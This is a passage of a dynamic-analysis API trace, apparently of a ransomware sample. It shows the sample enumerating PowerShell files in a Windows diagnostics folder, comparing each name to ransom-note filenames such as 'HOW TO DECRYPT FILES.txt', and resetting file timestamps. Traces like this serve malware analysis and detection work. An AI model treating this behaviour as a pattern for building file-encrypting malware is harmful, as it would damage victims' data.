ftCreationTime.dwLowDateTime=0x115ea231, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x115ea231, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd845576d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc13, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_ChangeProcessorState.ps1", cAlternateFileName="")) returned 1 [0126.777] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.777] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_ChangeProcessorState.ps1") returned -1 [0126.777] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_ChangeProcessorState.ps1") returned -1 [0126.777] lstrcmpiA (lpString1="", lpString2="RS_ChangeProcessorState.ps1") returned -1 [0126.777] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\RS_Balanced.ps1") returned="RS_Balanced.ps1" [0126.777] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.777] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.777] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.778] CloseHandle (hObject=0xffffffff) returned 0 [0126.778] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1161038e, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1161038e, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd845576d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_DisableScreensaver.ps1", cAlternateFileName="")) returned 1 [0126.778] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.778] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_DisableScreensaver.ps1") returned -1 [0126.778] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_DisableScreensaver.ps1") returned -1 [0126.778] lstrcmpiA (lpString1="", lpString2="RS_DisableScreensaver.ps1") returned -1 [0126.778] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\RS_ChangeProcessorState.ps1") returned="RS_ChangeProcessorState.ps1" [0126.778] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.778] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.778] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.779] CloseHandle (hObject=0xffffffff) returned 0 [0126.779] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1165c648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1165c648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd845576d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xbed, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_DisableUSBSelective.ps1", cAlternateFileName="")) returned 1 [0126.779] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.779] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_DisableUSBSelective.ps1") returned -1 [0126.779] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_DisableUSBSelective.ps1") returned -1 [0126.779] lstrcmpiA (lpString1="", lpString2="RS_DisableUSBSelective.ps1") returned -1 [0126.779] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\RS_DisableScreensaver.ps1") returned="RS_DisableScreensaver.ps1" [0126.779] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.779] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.779] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.780] CloseHandle (hObject=0xffffffff) returned 0 [0126.780] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x116cea5f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x116cea5f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd847b8cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc58, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_ResetDisplayIdleTimeout.ps1", cAlternateFileName="")) returned 1 [0126.780] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.780] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_ResetDisplayIdleTimeout.ps1") returned -1 [0126.780] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_ResetDisplayIdleTimeout.ps1") returned -1 [0126.780] lstrcmpiA (lpString1="", lpString2="RS_ResetDisplayIdleTimeout.ps1") returned -1 [0126.780] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\RS_DisableUSBSelective.ps1") returned="RS_DisableUSBSelective.ps1" [0126.780] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.780] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.780] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.781] CloseHandle (hObject=0xffffffff) returned 0 [0126.781] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x116f4bbc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x116f4bbc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd8729167, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc41, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_ResetIdleDiskTimeout.ps1", cAlternateFileName="")) returned 1 [0126.781] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.781] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_ResetIdleDiskTimeout.ps1") returned -1 [0126.781] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_ResetIdleDiskTimeout.ps1") returned -1 [0126.781] lstrcmpiA (lpString1="", lpString2="RS_ResetIdleDiskTimeout.ps1") returned -1 [0126.781] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\RS_ResetDisplayIdleTimeout.ps1") returned="RS_ResetDisplayIdleTimeout.ps1" [0126.781] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.781] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.781] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.782] CloseHandle (hObject=0xffffffff) returned 0 [0126.782] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1171ad19, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1171ad19, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd8775423, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_ResetIdleSleepsetting.ps1", cAlternateFileName="")) returned 1 [0126.782] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.782] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_ResetIdleSleepsetting.ps1") returned -1 [0126.782] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_ResetIdleSleepsetting.ps1") returned -1 [0126.782] lstrcmpiA (lpString1="", lpString2="RS_ResetIdleSleepsetting.ps1") returned -1 [0126.782] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\RS_ResetIdleDiskTimeout.ps1") returned="RS_ResetIdleDiskTimeout.ps1" [0126.782] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.782] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.782] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.783] CloseHandle (hObject=0xffffffff) returned 0 [0126.783] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x117b328d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x117b328d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd88cc071, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xbeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_Balanced.ps1", cAlternateFileName="")) returned 1 [0126.783] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.783] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_Balanced.ps1") returned -1 [0126.783] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_Balanced.ps1") returned -1 [0126.783] lstrcmpiA (lpString1="", lpString2="TS_Balanced.ps1") returned -1 [0126.783] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\RS_ResetIdleSleepsetting.ps1") returned="RS_ResetIdleSleepsetting.ps1" [0126.785] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.785] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.786] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.786] CloseHandle (hObject=0xffffffff) returned 0 [0126.786] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x117d93ea, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x117d93ea, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd898a747, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_DimDisplay.ps1", cAlternateFileName="")) returned 1 [0126.786] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.786] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_DimDisplay.ps1") returned -1 [0126.786] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_DimDisplay.ps1") returned -1 [0126.786] lstrcmpiA (lpString1="", lpString2="TS_DimDisplay.ps1") returned -1 [0126.786] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\TS_Balanced.ps1") returned="TS_Balanced.ps1" [0126.786] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.786] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.787] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.787] CloseHandle (hObject=0xffffffff) returned 0 [0126.787] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x117ff547, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x117ff547, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd8a22cbf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_DisplayIdleTimeout.ps1", cAlternateFileName="")) returned 1 [0126.787] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.787] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_DisplayIdleTimeout.ps1") returned -1 [0126.787] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_DisplayIdleTimeout.ps1") returned -1 [0126.787] lstrcmpiA (lpString1="", lpString2="TS_DisplayIdleTimeout.ps1") returned -1 [0126.787] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\TS_DimDisplay.ps1") returned="TS_DimDisplay.ps1" [0126.787] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.787] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.788] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.788] CloseHandle (hObject=0xffffffff) returned 0 [0126.788] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1184b801, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1184b801, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd8a950d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_IdleDiskTimeout.ps1", cAlternateFileName="")) returned 1 [0126.788] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.788] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_IdleDiskTimeout.ps1") returned -1 [0126.788] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_IdleDiskTimeout.ps1") returned -1 [0126.788] lstrcmpiA (lpString1="", lpString2="TS_IdleDiskTimeout.ps1") returned -1 [0126.788] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\TS_DisplayIdleTimeout.ps1") returned="TS_DisplayIdleTimeout.ps1" [0126.788] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.788] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.789] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.789] CloseHandle (hObject=0xffffffff) returned 0 [0126.789] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11897abb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x11897abb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd9cbb7a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6af, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_IdleSleepsetting.ps1", cAlternateFileName="")) returned 1 [0126.789] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.789] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_IdleSleepsetting.ps1") returned -1 [0126.789] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_IdleSleepsetting.ps1") returned -1 [0126.789] lstrcmpiA (lpString1="", lpString2="TS_IdleSleepsetting.ps1") returned -1 [0126.789] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\TS_IdleDiskTimeout.ps1") returned="TS_IdleDiskTimeout.ps1" [0126.789] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.790] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.790] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.790] CloseHandle (hObject=0xffffffff) returned 0 [0126.790] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118bdc18, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x118bdc18, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xda477ebd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_MinProcessorState.ps1", cAlternateFileName="")) returned 1 [0126.790] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.790] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_MinProcessorState.ps1") returned -1 [0126.790] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_MinProcessorState.ps1") returned -1 [0126.790] lstrcmpiA (lpString1="", lpString2="TS_MinProcessorState.ps1") returned -1 [0126.790] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\TS_IdleSleepsetting.ps1") returned="TS_IdleSleepsetting.ps1" [0126.791] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.791] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.791] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.791] CloseHandle (hObject=0xffffffff) returned 0 [0126.791] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118e3d75, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x118e3d75, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xda5a89ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x55d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_ScreenBrightness.ps1", cAlternateFileName="")) returned 1 [0126.791] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.791] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_ScreenBrightness.ps1") returned -1 [0126.791] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_ScreenBrightness.ps1") returned -1 [0126.791] lstrcmpiA (lpString1="", lpString2="TS_ScreenBrightness.ps1") returned -1 [0126.791] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\TS_MinProcessorState.ps1") returned="TS_MinProcessorState.ps1" [0126.792] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.792] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.792] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.792] CloseHandle (hObject=0xffffffff) returned 0 [0126.792] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118e3d75, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x118e3d75, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xda640f25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_ScreenSaver.ps1", cAlternateFileName="")) returned 1 [0126.792] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.792] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_ScreenSaver.ps1") returned -1 [0126.792] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_ScreenSaver.ps1") returned -1 [0126.792] lstrcmpiA (lpString1="", lpString2="TS_ScreenSaver.ps1") returned -1 [0126.792] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\TS_ScreenBrightness.ps1") returned="TS_ScreenBrightness.ps1" [0126.793] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.793] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" [0126.793] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.793] CloseHandle (hObject=0xffffffff) returned 0 [0126.793] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193002f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1193002f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xda771a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_USBSelective.ps1", cAlternateFileName="")) returned 1 [0126.793] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.793] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_USBSelective.ps1") returned -1 [0126.793] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_USBSelective.ps1") returned -1 [0126.793] lstrcmpiA (lpString1="", lpString2="TS_USBSelective.ps1") returned -1 [0126.793] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Power\\TS_ScreenSaver.ps1") returned="TS_ScreenSaver.ps1" [0126.794] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Power\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Power\\") returned="C:\\Windows\\diagnostics\\system\\Power\\" [0126.794] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Power\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Power\\") returned="" 